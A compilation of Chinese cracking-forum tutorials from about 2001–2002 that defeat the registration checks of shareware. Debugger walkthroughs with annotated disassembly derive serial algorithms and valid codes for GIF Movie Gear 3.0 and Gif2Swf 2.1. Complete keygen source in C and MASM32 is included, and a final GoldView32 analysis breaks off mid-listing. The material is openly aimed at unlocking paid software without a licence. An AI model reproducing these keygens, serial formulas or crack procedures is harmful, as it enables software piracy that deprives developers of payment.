为了找一个汉化的对像,我找到了它,根据介绍,这个软件功能强大,我不会玩GIF动画,但在汉化过程中它给我的感觉倒是很好的,小巧的身材,强大的功能...我喜欢这样的软件.在汉化中我顺便想把它注册了,于是今晚就请出了SICE把它给破了,呵呵...(也久没有CRACK了,为了搞安装程序的制作...哪天我要写一个关于搞安装程序的制作的教程,我在网上找了好久都发现有...)
好了,言归正传.打开注册窗口填入:
NAME:Vitamin C
CODE:1234abcd1234abcd
(不知从哪天起喜欢用长的NUM.了...)
在SICE里用:BPX HMEMCPY.其实这个断点是最好用的,以前我不太懂CRACK时很怕用它,现在次次都用.(因为用GETWINDOWTEXTA等有时会拦不到...)...
按'OK'中断按F12后你会发现原来它是用GetWindowTextA的,按多几次F12(我记不清是几次了,好像不是很多次^_^)后到达我们的目的地:
...
* Reference To: USER32.GetWindowTextA, Ord:015Eh
|
:00431959 8B1DF8834400 mov ebx, dword ptr [004483F8]/*它是把要CALL的偏移放入EBX
:0043195F 50 push eax 再调用的*/
:00431960 FFD3 call ebx /*这个CALL取NAME*/
:00431962 8D9424C4000000 lea edx, dword ptr [esp+000000C4]<-我们要在这里停

* Possible Reference to Dialog: DialogID_0064
|
:00431969 6A64 push 00000064
:0043196B 52 push edx

* Possible Reference to Dialog: DialogID_0091, CONTROL_ID:0450, ""
|
:0043196C 6850040000 push 00000450
:00431971 56 push esi
:00431972 FFD7 call edi
:00431974 50 push eax
:00431975 FFD3 call ebx /*这个CALL取CODE,和上面的CALL调用同一个偏移*/
:00431977 8D8424C4000000 lea eax, dword ptr [esp+000000C4]
:0043197E 8D4C2460 lea ecx, dword ptr [esp+60]
:00431982 50 push eax /*这里是的两个寄存器里有一个是你输入的CODE有一个
:00431983 51 push ecx 是mvg21951736,呵呵不用我说了吧,可是它可不是*/
:00431984 E8F7FBFFFF call 00431580/*这个是关键的CALL,这里是一个经典的组合,CALL
:00431989 83C408 add esp, 00000008了之后来一个TEST EAX,EAX,呵呵...^_^*/
:0043198C 85C0 test eax, eax
:0043198E 0F84AD000000 je 00431A41
:00431994 8D542410 lea edx, dword ptr [esp+10]
...
试一试用F10跳过关键CALL,EAX就为00H,(那个CODE是乱来的吗!)然后就完了...
那么就是要跟进那个CALL:
...
* Referenced by a CALL at Addresses:
|:004316C9 , :00431984
|
:00431580 53 push ebx
:00431581 55 push ebp/*EBP是你输入的CODE的地址*/
:00431582 8B6C2410 mov ebp, dword ptr [esp+10]
:00431586 56 push esi
:00431587 57 push edi
:00431588 807D006D cmp byte ptr [ebp+00], 6D/*CODE和第一个字符是:m*/
:0043158C 0F85A0000000 jne 00431632/*跳了就OVER,下面几个一样的,知道是怎么回事了吧?*/
:00431592 807D0167 cmp byte ptr [ebp+01], 67/*第二个:g*/
:00431596 0F8596000000 jne 00431632
:0043159C 807D0233 cmp byte ptr [ebp+02], 33/*第三个:3*/
:004315A0 0F858C000000 jne 00431632
:004315A6 807D0337 cmp byte ptr [ebp+03], 37/*第四个:7*/
:004315AA 0F8582000000 jne 00431632

* Possible Indirect StringData Ref from Data Obj ->"mvg21951736"<-这个字符串不知有什么用?
|
:004315B0 BBC4D44400 mov ebx, 0044D4C4

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004315D6(C)
|
:004315B5 8B13 mov edx, dword ptr [ebx]
:004315B7 83C9FF or ecx, FFFFFFFF
:004315BA 8BFA mov edi, edx
:004315BC 33C0 xor eax, eax
:004315BE F2 repnz
:004315BF AE scasb
:004315C0 F7D1 not ecx
:004315C2 49 dec ecx
:004315C3 8BFA mov edi, edx
:004315C5 8BF5 mov esi, ebp
:004315C7 33C0 xor eax, eax
:004315C9 F3 repz
:004315CA A6 cmpsb
:004315CB 7465 je 00431632
:004315CD 83C304 add ebx, 00000004
:004315D0 81FBC8D44400 cmp ebx, 0044D4C8
:004315D6 7CDD jl 004315B5
:004315D8 807D0473 cmp byte ptr [ebp+04], 73/*第五个字符:s(不是必须的,另有用处)*/
:004315DC 7501 jne 004315DF
:004315DE 45 inc ebp

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004315DC(C)
|
:004315DF 83C507 add ebp, 00000007 /*取CODE第7位后的字符!CODE要>7位啊!*/
:004315E2 55 push ebp
:004315E3 E8D0DD0000 call 0043F3B8/*这个CALL其实作用是这样的:把CODE第8位起的字符
:004315E8 8B542418 mov edx, dword ptr [esp+18] '1234'->1234D*/
:004315EC 83C404 add esp, 00000004
:004315EF 8BFA mov edi, edx
:004315F1 33C9 xor ecx, ecx
:004315F3 8A12 mov dl, byte ptr [edx]/*这里开始是用NAME计算CODE了*/
:004315F5 BEDF0B0000 mov esi, 00000BDF
:004315FA 84D2 test dl, dl
:004315FC 7426 je 00431624

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00431622(C)
|
:004315FE 0FBED2 movsx edx, dl
:00431601 41 inc ecx
:00431602 0FAFD1 imul edx, ecx
:00431605 03F2 add esi, edx
:00431607 81FEBE170000 cmp esi, 000017BE
:0043160D 7E06 jle 00431615
:0043160F 81EEBE170000 sub esi, 000017BE

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043160D(C)
|
:00431615 83F90A cmp ecx, 0000000A/*到了名字的第10个字符则要跳出去了!*/
:00431618 7E02 jle 0043161C
:0043161A 33C9 xor ecx, ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00431618(C)
|
:0043161C 8A5701 mov dl, byte ptr [edi+01]
:0043161F 47 inc edi
:00431620 84D2 test dl, dl
:00431622 75DA jne 004315FE

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004315FC(C)
|
:00431624 3BF0 cmp esi, eax/*将用NAME计算得到的CODE和CODE第8位起的字符->数字进
:00431626 750A jne 00431632 行比较!*/
:00431628 5F pop edi
:00431629 5E pop esi
:0043162A 5D pop ebp
:0043162B B801000000 mov eax, 00000001/*EAX置01H*/
:00431630 5B pop ebx
:00431631 C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0043158C(C), :00431596(C), :004315A0(C), :004315AA(C), :004315CB(C)
|:00431626(C)
|
:00431632 5F pop edi
:00431633 5E pop esi
:00431634 5D pop ebp
:00431635 33C0 xor eax, eax/*听笨冬瓜兄说,这是我们的大敌!(EAX=00H)*/
:00431637 5B pop ebx
:00431638 C3 ret
...
知道了CODE前4位是:mg37,那就让它OVER我们把CODE改一改:mg37abc1234,好了,顺利到了:004315E3这个CALL,这个CALL其实作用是这样的:把CODE第8位起的字符(就是:'1234')变成十进制的数字(就是:1234D)!我跟进了那个CALL但没能找出不所以然来,还有一点,变是第8位起的字符不能是字母,要不会成为一个负数的!我一开始就是这样,所以我走了弯路...
好了,之后就是用NAME计算了,得到一个数字和CODE第8位起的字符(就是:'1234')变成十进制的数字(就是:1234D)进行比较,相等就OK!,我的NAME(Vitamin C)得到的是031DH=797D,那我的正确的CODE是:mg37xxx797(xxx可以为任何字符!)其实还有一个CODE,就是第5位是s的:mg37sxxx797(xxx可以为任何字符!),这个CODE是站点CODE(SITE LICENSE)那个是个人CODE(GIF Movie Gear这个软件说的)这就是那个非必须比较的作用!
好了,到了这里,也就完成了.其实那个计算NAME的算法可以看出来的,不难,要你有能力,可以写一个注册机!
算法:
Vitamin C
取每个字符的16进制数*它所在的位(第一位*1,第二位*2...)相加再加上0BDFH,要是>17BEH时就减去一个17BEH直到<17BEH(6078D)就行了,那个得到的数的10进制数就是这个NAME的CODE.对了,还有一点,就是计算名字最多计算到第10个字符!其它的就不用算了!

OK!

NAME:Vitamin C
CODE:mg37xxx797/mg37sxxx797 (xxx可以为任何字符!)

Vitamin C[抗坏血酸].2002.2.18.HY.GD.CHI.


Gif Movie Gear3.0

标 题:Gif Movie Gear3.0
发信人飞狐
时 间:2002/03/02 09:49pm
详细信息:

Gif Movie Gear3.0的PJ此软件可能对于大多数人来说不适用。它是一个非常优秀的图片处理工具，是对动态gif压缩效果非常满意，真是一个图片处理的小精灵 、超级动画制作程序.没注册前它的NAG窗口很是烦人。我写上此文的目的是让初学者体会一下注册码的计算方法.这个软件是我昨天下载的。也不知道有没有相关的pj，在这里我现丑了，请不要见笑。
工具：TRW2000
方法：
1、运行TRW2000，装入Gif Movie Gear3.0并运行之，输入NAME：flyingfox　密码：mvg2s9899898后，
按CTRL＋N，设中断BPX　HMEMCPY，按CTRL＋N，再按确定。拦截成功。清中断bpx *
2、此时不要输入PMODULE,否则跳出出错信息。要按F12，连续按9下，再按F10(一下），就会看到如下代码：
请看下面的分析：
0167:00431521 8D9424B4000000 LEA EDX,[ESP+B4]
0167:00431528 6A64 PUSH BYTE +64
0167:0043152A 52 PUSH EDX
0167:0043152B 6850040000 PUSH DWORD 0450
0167:00431530 56 PUSH ESI
0167:00431531 FFD7 CALL EDI
0167:00431533 50 PUSH EAX
0167:00431534 FFD3 CALL EBX
0167:00431536 8D8424B4000000 LEA EAX,[ESP+B4]
0167:0043153D 8D4C2450 LEA ECX,[ESP+50]
0167:00431541 50 PUSH EAX 　假码
0167:00431542 51 PUSH ECX　　你输入的NAME
0167:00431543 E888FDFFFF CALL 004312D0 必须按F8进入。见①处。
0167:00431548 83C408 ADD ESP,BYTE +08
0167:0043154B 85C0 TEST EAX,EAX
0167:0043154D 0F84AD000000 JZ NEAR 00431600错误就跳。
下面的代码是成功后的注册处理。
0167:00431553 8D542410 LEA EDX,[ESP+10]
0167:00431557 8D44240C LEA EAX,[ESP+0C]
0167:0043155B 52 PUSH EDX
0167:0043155C 50 PUSH EAX
0167:0043155D 6A00 PUSH BYTE +00
0167:0043155F 683F000F00 PUSH DWORD 000F003F
0167:00431564 6A00 PUSH BYTE +00
0167:00431566 68D4EF4400 PUSH DWORD 0044EFD4
0167:0043156B 6A00 PUSH BYTE +00
0167:0043156D 68B8B34400 PUSH DWORD 0044B3B8
0167:00431572 6801000080 PUSH DWORD 80000001

①*********************************************************
0167:004312D0 PUSH EBX
0167:004312D1 PUSH EBP
0167:004312D2 MOV EBP,[ESP+10] 你输入的密码。
0167:004312D6 PUSH ESI
0167:004312D7 PUSH EDI
0167:004312D8 CMP BYTE [EBP+00],6D 比较第一个是否为m
0167:004312DC JNZ NEAR 00431382
0167:004312E2 CMP BYTE [EBP+01],76 比较第二个是否为v
0167:004312E6 JNZ NEAR 00431382
0167:004312EC CMP BYTE [EBP+02],67 比较第三个是否为g
0167:004312F0 JNZ NEAR 00431382
0167:004312F6 CMP BYTE [EBP+03],32 比较第四个是否为2
以上比较的是输入的密码的前四位。也就是正确密码的前四位必须是mvg2
0167:004312FA JNZ NEAR 00431382 如果不等于就错
以下从0167:00431300－0167:0043131B是比较你输入的密码是否是黑名单上的名单上的密码。黑名单上的名单上的密码很多。你可以快按F10。但要注意最后一次比较，也就是0167:00431320 CMP EBX,0044D57C　二者都是msvg20423396时。请看下面的代码:
0167:00431300 MOV EBX,0044D4A4
0167:00431305 MOV EDX,[EBX]
0167:00431307 OR ECX,BYTE -01
0167:0043130A MOV EDI,EDX
0167:0043130C XOR EAX,EAX
0167:0043130E REPNE SCASB
0167:00431310 NOT ECX
0167:00431312 DEC ECX
0167:00431313 MOV EDI,EDX
0167:00431315 MOV ESI,EBP
0167:00431317 XOR EAX,EAX
0167:00431319 REPE CMPSB
0167:0043131B JZ 00431382 如果是黑名单上的密码就错。如果正确往下执行。
0167:0043131D ADD EBX,BYTE +04
0167:00431320 CMP EBX,0044D57C同上。
0167:00431326 JL 00431305错误就跳。正确继续。
0167:00431328 CMP BYTE [EBP+04],73比较第五个字符是否为s
0167:0043132C JNZ 0043132F 如果不是就跳。
0167:0043132E INC EBP　密码的地址加1
也就是说正确的密码的的组合方式是mvg2s*******或mvg2*******
0167:0043132F ADD EBP,BYTE +07　加7
0167:00431332 PUSH EBP　EBP是第八位以后或第七位以后的密码。
0167:00431333 CALL 0043F04C此处调用你可以进去看一看。处理第八位以后或第七位以后的密码。如果不进去，按F10，见②处。
②***************************************
以下的代码是处理你输入的名字，是计算后四位密码。你的名字可以是英文也可以是中文。但字符数必须大于或等于七。为什么？看下面的代码你就知道了。
0167:00431338 MOV EDX,[ESP+18]　你输入的名字
0167:0043133C ADD ESP,BYTE +04
0167:0043133F MOV EDI,EDX
0167:00431341 XOR ECX,ECX
0167:00431343 MOV DL,[EDX]第一个字母赋值给DL
0167:00431345 MOV ESI,06FE
0167:0043134A TEST DL,DL是否为空
0167:0043134C JZ 00431374是，就处理完毕，跳到下面进行比较。
0167:0043134E MOVSX EDX,DL
0167:00431351 INC ECX
0167:00431352 IMUL EDX,ECX相乘。
0167:00431355 ADD ESI,EDX
0167:00431357 CMP ESI,0DFD
0167:0043135D JNG 00431365
0167:0043135F SUB ESI,0DFD
0167:00431365 CMP ECX,BYTE +0A比较是否为A，它就是你输入的NAME的字符数。
0167:00431368 JNG 0043136C
0167:0043136A XOR ECX,ECX
0167:0043136C MOV DL,[EDI+01]
0167:0043136F INC EDI
0167:00431370 TEST DL,DL
0167:00431372 JNZ 0043134E没测试完，继续循环。测试完毕就进行比较
0167:00431374 CMP ESI,EAX　? ESI是真正密码的后四位，? EAX是假码。此时注册码计算完毕。
0167:00431376 JNZ 00431382不相等就跳
0167:00431378 POP EDI
0167:00431379 POP ESI
0167:0043137A POP EBP
0167:0043137B MOV EAX,01　赋值为1，是成功标志。
0167:00431380 POP EBX
ret
*******************************************************************************************
总结：1、不要被黑名单上的名字所迷惑，那可能版本pj者的密码。我当时看到时是欣喜若狂，可惜是错的。
      2、输入的名字的字符数必须大于6位数。中、英文随便。
      3、密码的组合方式有两种：
        ①、前五位是mvg2s时的密码是：mvg2s***@@@@。3个*号可以是3个任意的数字，后四位是通过你的姓名计算出来的数字。
②mvg2***@@@@。3个*号可以是3个任意的数字，后四位是通过你的姓名计算出来的数字。
      如：flyingfox:mvg20003160.后面的3160也可能是2552。我忘记了（记的时候不仔细）


Gif2Swf Ver 2.1

 标 题:Gif2Swf Ver 2.1 TC20注册机 && MASM32注册机 (4千字)
发信人:WenXinJY
时 间:2001-12-10 20:16:20
详细信息:
/*Gif2Swf Ver 2.1 KeyGen.c*/
#include "stdio.h"
main()
{
long x=0x163ef7;
char name[80];
long sn=0;
long temp;
int i;
puts("\n\t\tGif2Swf Ver 2.1 KeyGen --- By WenXinJY --- \n\t\t============================================\n Please input your name:");
scanf("%s",name);
for(i=0;i<0x20&&name[i];i++)
{name[i]-=name[i]>='a'&&name[i]<='z'?'a'-'A':0;sn+=(x/name[i]+i)*name[i];}
printf("\nYour regcode is:%ld",(unsigned long)(sn+0x85d9ed) );
}

;Gif2Swf-kg.asm
.386
.model flat,stdcall
option casemap:none
include hd.h
_WinMain Proto :DWORD,:DWORD,:DWORD,:DWORD
Calculation Proto

.const
DLG_MAIN equ 1000
IDC_UN equ 1001
IDC_SN equ 1002
ID_GEN equ 1003
ID_EXIT equ 1004

.data
MsgCap db "Gif2Swf Ver 2.1 注册机 by WenXinJY",0
MsgName db "请输入您的用户名！",0
hInstance dd 0
UserLen dd 0
szFormat db "%i",0
UserID db 80 dup (0)
SN db 80 dup (0)

.radix 16

.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _WinMain,NULL
invoke ExitProcess,NULL

_WinMain proc uses ebx edi esi, \
hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD

mov eax,wMsg
.if eax == WM_CLOSE
invoke EndDialog,hWnd,NULL
.elseif eax == WM_INITDIALOG
invoke SetWindowText,hWnd,ADDR MsgCap
invoke SendDlgItemMessage,hWnd,IDC_SN,EM_SETREADONLY,TRUE,NULL
.elseif eax == WM_COMMAND
mov eax,wParam
.IF lParam!=0
.if eax==ID_GEN
invoke GetDlgItemText, hWnd, IDC_UN, addr UserID, 80
.if eax!=NULL
mov UserLen,eax
invoke Calculation
invoke SetDlgItemText, hWnd, IDC_SN, addr SN
.else
invoke MessageBox,NULL,addr MsgName,addr MsgCap,MB_OK or MB_ICONEXCLAMATION
.endif
.elseif eax==ID_EXIT
invoke SendMessage,hWnd,WM_CLOSE,NULL,NULL
.endif
.ENDIF
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_WinMain ENDP

Calculation Proc
pushad
lea esi,UserID
mov edi,esi
Cvt:
lodsb
.if al>='a'
.if al<='z'
sub al,'z'-'Z'
.endif
.endif
stosb
test al,al
jnz Cvt

xor esi,esi
xor edi,edi
xor ecx,ecx
lea ebp,UserID
Next:
mov eax, 00163EF7
mov bl, byte ptr [esi+ebp]
test bl,bl
jz OK
movsx edi, bl
cdq
idiv edi
movsx edx, bl
add eax, esi
imul eax, edx
add ecx, eax
inc esi
cmp esi,20
jb Next
OK:
add ecx, 0085D9ED
push ecx
push offset szFormat
push offset SN
call wsprintf
add esp,4*3
popad
ret
Calculation Endp
End start
;gif2swf-kg.rc
#include <\masm32\include\resource.h>
#define DLG_MAIN 1000
#define IDC_UN 1001
#define IDC_SN 1002
#define ID_GEN 1003
#define ID_EXIT 1004
2 icon key.ico
DLG_MAIN DIALOG 64,53,240,52
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "Gif2Swf Ver 2.1 注册机 by WenXinJY"
FONT 9, "宋体"
{
DEFPUSHBUTTON "注册", ID_GEN, 200, 8, 30, 14
PUSHBUTTON "退出", ID_EXIT, 200, 26, 30, 14
EDITTEXT IDC_UN, 40, 10, 150, 12, WS_BORDER | WS_TABSTOP
EDITTEXT IDC_SN, 40, 29, 150, 13, WS_BORDER | WS_TABSTOP
LTEXT "用户名:", -1, 8, 12, 30, 10
LTEXT "注册码:", -1, 8, 30, 30, 9
}


Gif2Swf2.1

 标 题:Gif2Swf2.1注册算法分析 特别献给CNCG组织 (13千字)
发信人:娃娃[CCG]
时 间:2001-10-28 7:10:59
详细信息:
Gif2Swf2.1注册算法分析

好久没有写破解文章了 手都有点生了 现在中国破解界新人辈出 我也觉得我要跟不上时代了 ^_^
本来想一直等到CHiNA CrACKiNG GrOUp出新的CrackMe 再来练练手 但是SunBird老大可能比较忙 新的CrackMe迟迟不出 所以从网上下载了一个Gif2Swf2.1来练练手 ^_^ 也不知道是不是有人已经作出KeyGen了

用TRW载入程序 到输入注册码的对话框中 输入注册信息：
用户名：NYDoll 注册码：38383838 下断点BPX LOCKMYTASK
点击确定按钮 程序被拦下 F10单步跟踪 直到看到下面的代码：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004079C4(C)
|
:004079CF 83FF01 cmp edi, 00000001
:004079D2 5F pop edi
:004079D3 0F85A5000000 jne 00407A7E
:004079D9 E842BDFFFF call 00403720 /关键Call 要知道注册算法就要跟进这个Call，具体参见附录一
:004079DE 85C0 test eax, eax
:004079E0 0F8485000000 je 00407A6B /标志位比对 若注册码不正确则跳转到注册失败对话框
:004079E6 6A00 push 00000000
:004079E8 8BCB mov ecx, ebx
:004079EA C7056CC5410001000000 mov dword ptr [0041C56C], 00000001

* Reference To: MFC42.Ordinal:0A55, Ord:0A55h
|
:004079F4 E8A17A0000 Call 0040F49A
:004079F9 A168C54100 mov eax, dword ptr [0041C568]
:004079FE 85C0 test eax, eax
:00407A00 743A je 00407A3C
:00407A02 A1E03A4100 mov eax, dword ptr [00413AE0]
:00407A07 6A00 push 00000000
:00407A09 6A00 push 00000000
:00407A0B 6810010000 push 00000110
:00407A10 50 push eax

* Reference To: USER32.SendMessageA, Ord:0214h
|
:00407A11 FF1500044100 Call dword ptr [00410400]
:00407A17 6A40 push 00000040

* Possible StringData Ref from Data Obj ->"Congratulations" /注册成功则出现如下信息
|
:00407A19 6800374100 push 00413700

* Possible StringData Ref from Data Obj ->"GIF2SWF has been successfuly registered "
->"!"
|
:00407A1E 68D4364100 push 004136D4
:00407A23 6A00 push 00000000

* Reference To: USER32.MessageBoxA, Ord:01BEh
|
:00407A25 FF15FC034100 Call dword ptr [004103FC]
:00407A2B 5E pop esi
:00407A2C 5B pop ebx
:00407A2D 8B4C2404 mov ecx, dword ptr [esp+04]
:00407A31 64890D00000000 mov dword ptr fs:[00000000], ecx
:00407A38 83C410 add esp, 00000010
:00407A3B C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407A00(C)
|
:00407A3C 6A40 push 00000040

* Possible StringData Ref from Data Obj ->"Congratulations"
|
:00407A3E 6800374100 push 00413700

* Possible StringData Ref from Data Obj ->"GIF2SWF has been successfuly registered "
->"!"
|
:00407A43 68D4364100 push 004136D4
:00407A48 6A00 push 00000000

* Reference To: USER32.MessageBoxA, Ord:01BEh
|
:00407A4A FF15FC034100 Call dword ptr [004103FC]
:00407A50 6A00 push 00000000
:00407A52 E8F9B7FFFF call 00403250
:00407A57 83C404 add esp, 00000004
:00407A5A 5E pop esi
:00407A5B 5B pop ebx
:00407A5C 8B4C2404 mov ecx, dword ptr [esp+04]
:00407A60 64890D00000000 mov dword ptr fs:[00000000], ecx
:00407A67 83C410 add esp, 00000010
:00407A6A C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004079E0(C)
|
:00407A6B 6A30 push 00000030

* Possible StringData Ref from Data Obj ->"Registration" /注册失败则显示如下信息
|
:00407A6D 68C4364100 push 004136C4

* Possible StringData Ref from Data Obj ->"You have entered and incorrect "
->"Name or Serial number

Please "
->"try again !"

---------------※附录一※--------------------
* Referenced by a CALL at Addresses:
|:00404168 , :004079D9
|
:00403720 6AFF push FFFFFFFF
:00403722 68E8F94000 push 0040F9E8
:00403727 64A100000000 mov eax, dword ptr fs:[00000000]
:0040372D 50 push eax
:0040372E 64892500000000 mov dword ptr fs:[00000000], esp
:00403735 83EC08 sub esp, 00000008
:00403738 51 push ecx
:00403739 8BCC mov ecx, esp
:0040373B 89642404 mov dword ptr [esp+04], esp
:0040373F 68D83A4100 push 00413AD8

* Reference To: MFC42.Ordinal:0217, Ord:0217h
|
:00403744 E827BD0000 Call 0040F470
:00403749 51 push ecx
:0040374A C744241800000000 mov [esp+18], 00000000
:00403752 8BCC mov ecx, esp
:00403754 8964240C mov dword ptr [esp+0C], esp
:00403758 68DC3A4100 push 00413ADC

* Reference To: MFC42.Ordinal:0217, Ord:0217h
|
:0040375D E80EBD0000 Call 0040F470
:00403762 C7442418FFFFFFFF mov [esp+18], FFFFFFFF
:0040376A E841FEFFFF call 004035B0 /关键Call
:0040376F 83C408 add esp, 00000008
:00403772 85C0 test eax, eax
:00403774 7544 jne 004037BA /跟到这里的时候发现 若在这里跳转则跳出当前Call 故怀疑 call 004035B0 为关键Call 按F8跟入 具体参见附录二
:00403776 B9DC3A4100 mov ecx, 00413ADC

* Reference To: MFC42.Ordinal:104B, Ord:104Bh
|
:0040377B E8EABC0000 Call 0040F46A
:00403780 50 push eax

* Possible StringData Ref from Data Obj ->"RegisteredUserName" /推测是将验证成功的用户名信息存入注册表
|
:00403781 686C354100 push 0041356C
:00403786 E805FDFFFF call 00403490
:0040378B 83C408 add esp, 00000008
:0040378E B9D83A4100 mov ecx, 00413AD8

* Reference To: MFC42.Ordinal:104B, Ord:104Bh
|
:00403793 E8D2BC0000 Call 0040F46A
:00403798 50 push eax

* Possible StringData Ref from Data Obj ->"RegisteredUserKey" /推测是将验证成功的注册码信息存入注册表

|
:00403799 6858354100 push 00413558
:0040379E E8EDFCFFFF call 00403490
:004037A3 83C408 add esp, 00000008
:004037A6 B801000000 mov eax, 00000001
:004037AB 8B4C2408 mov ecx, dword ptr [esp+08]
:004037AF 64890D00000000 mov dword ptr fs:[00000000], ecx
:004037B6 83C414 add esp, 00000014
:004037B9 C3 ret

------------------※附录二※--------------------
* Referenced by a CALL at Addresses:
|:0040376A , :00403E22
|
:004035B0 6AFF push FFFFFFFF
:004035B2 68D0F94000 push 0040F9D0
:004035B7 64A100000000 mov eax, dword ptr fs:[00000000]
:004035BD 50 push eax
:004035BE 64892500000000 mov dword ptr fs:[00000000], esp
:004035C5 83EC64 sub esp, 00000064
:004035C8 55 push ebp
:004035C9 56 push esi
:004035CA 57 push edi
:004035CB 8D8C2480000000 lea ecx, dword ptr [esp+00000080]
:004035D2 C744247801000000 mov [esp+78], 00000001

* Reference To: MFC42.Ordinal:106C, Ord:106Ch
|
:004035DA E8A7BD0000 Call 0040F386
:004035DF 8D8C2480000000 lea ecx, dword ptr [esp+00000080]

* Reference To: MFC42.Ordinal:104B, Ord:104Bh
|
:004035E6 E87FBE0000 Call 0040F46A
:004035EB 8D8C2484000000 lea ecx, dword ptr [esp+00000084]
:004035F2 8BF0 mov esi, eax /用户名入栈

* Reference To: MFC42.Ordinal:104B, Ord:104Bh
|
:004035F4 E871BE0000 Call 0040F46A --------\
:004035F9 8BE8 mov ebp, eax \
:004035FB 8BFE mov edi, esi
:004035FD 83C9FF or ecx, FFFFFFFF
:00403600 33C0 xor eax, eax 很常见到一种通过循环获得用户名字符数和比对是否为零的代码段
:00403602 F2 repnz
:00403603 AE scasb
:00403604 F7D1 not ecx /
:00403606 49 dec ecx /
:00403607 0F84D2000000 je 004036DF ----------
:0040360D 8BFD mov edi, ebp
:0040360F 83C9FF or ecx, FFFFFFFF
:00403612 F2 repnz
:00403613 AE scasb
:00403614 F7D1 not ecx /先取反 在减一 等到字符串的位数 常见方法
:00403616 49 dec ecx /好像使用MFC编写的程序都使用这样的方法验证字符串的个数
:00403617 0F84C2000000 je 004036DF /比对注册码是否为零
:0040361D 53 push ebx
:0040361E 8BFE mov edi, esi
:00403620 83C9FF or ecx, FFFFFFFF
:00403623 33DB xor ebx, ebx
:00403625 F2 repnz
:00403626 AE scasb
:00403627 F7D1 not ecx
:00403629 49 dec ecx
:0040362A 83F920 cmp ecx, 00000020 /比对用户名位数是否大于32，若小于则正常计算 若大于则只计算用户名的前32为
:0040362D 7E05 jle 00403634 /小于等于则跳转
:0040362F B920000000 mov ecx, 00000020 /将用户名字符数强行赋值为32

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040362D(C)
|
:00403634 33F6 xor esi, esi /ESI寄存器清零
:00403636 85C9 test ecx, ecx
:00403638 7E1E jle 00403658
:0040363A B887D61200 mov eax, 0012D687 /EAX寄存器赋值为1234567
:0040363F 99 cdq
:00403640 F7F9 idiv ecx /EAX寄存器的值除以ECX寄存器的值 设结果为常量a，ECX寄存器中保存的是用户名的位数
:00403642 8B942484000000 mov edx, dword ptr [esp+00000084] /载入用户名

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403656(C)
|
:00403649 0FBE3C16 movsx edi, byte ptr [esi+edx] /依次取用户名的大写字符的ASCII码参与计算
:0040364D 0FAFF8 imul edi, eax /用当前字符的ASCII码与常量a相乘
:00403650 03DF add ebx, edi /结果累加进EBX寄存器中
:00403652 46 inc esi /计数器加一
:00403653 40 inc eax /循环位数加一
:00403654 3BF1 cmp esi, ecx /对比循环次数和用户名位数 相等则认为循环结束 跳出循环 不相等则继续
:00403656 7CF1 jl 00403649

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403638(C)
|
:00403658 81C31FF97E00 add ebx, 007EF91F /累加结果加上8321311
:0040365E 8D442410 lea eax, dword ptr [esp+10]
:00403662 53 push ebx

* Possible StringData Ref from Data Obj ->"%i"
|
:00403663 6854354100 push 00413554
:00403668 50 push eax

* Reference To: MSVCRT.sprintf, Ord:02B2h
|
:00403669 FF156C034100 Call dword ptr [0041036C]
:0040366F 83C40C add esp, 0000000C
:00403672 8BF5 mov esi, ebp
:00403674 8D442410 lea eax, dword ptr [esp+10]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040369A(C)
|
:00403678 8A10 mov dl, byte ptr [eax] /循环比对Fuck SN和Real SN是否相等
:0040367A 8A1E mov bl, byte ptr [esi]
:0040367C 8ACA mov cl, dl
:0040367E 3AD3 cmp dl, bl
:00403680 751E jne 004036A0
:00403682 84C9 test cl, cl
:00403684 7416 je 0040369C
:00403686 8A5001 mov dl, byte ptr [eax+01]
:00403689 8A5E01 mov bl, byte ptr [esi+01]
:0040368C 8ACA mov cl, dl
:0040368E 3AD3 cmp dl, bl
:00403690 750E jne 004036A0
:00403692 83C002 add eax, 00000002
:00403695 83C602 add esi, 00000002
:00403698 84C9 test cl, cl
:0040369A 75DC jne 00403678

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403684(C)
|
:0040369C 33F6 xor esi, esi
:0040369E EB05 jmp 004036A5

注册机正在编译中………………

------------ Gif2Swf2.1 Cracked ------------------

娃娃（NYDoll）
属于中国破解组织CCG(CHiNA CrACKiNG GrOUp)
仅以此文献给我们可爱的组织CCG 希望它能蒸蒸日上

特别献给新兴组织CNCG


GoldView32 2.0 Build168

 标 题:班门弄斧之GoldView32 2.0 Build168算法分析 (8千字)
发信人:eCool[BCG]
时 间:2002-1-24 12:07:03
详细信息:
GoldView32 2.0 build 168破解过程
【软件简介】是一个对文件的所在结构进行浏览的软件。就是能显示文件有关结 构和对象的相关信息，是一种只能显示不能修改的工具，对于不想 查询数据词典而想知道有关信息的人非常有用，能让人们安全浏览 文件。
【下载地址】http://newhua.infosail.com/Goldview.htm
【破解工具】Language2000、DeDe 3.0、Ollydbg 1.4
【文章作者】eCool[BCG][FCG][CNCG]
【出版时间】2002年1月24日
【郑重声明】转载请保持文章完整，谢谢。

很久没有搞破解了有点手痒，所以立马去华军一趟，随便选了个软件下载，结果就搞到了这个东东，安装完成后，运行，注册，原来是单Serial型的注册，看来有点困难，随便输入一个注册码，点Ok，出来一个错误对话框，呵呵，有戏看了。退出程序，立即用Language2000分析一下GoldView.exe，不错没有加壳，而且是DeDe的，so，用Dede分析一下，很快在Nag Unit中找到个RegisterButtonClick，进入这个事件,来到这里：
* Reference to field TNagDlg.OFFS_0314
|
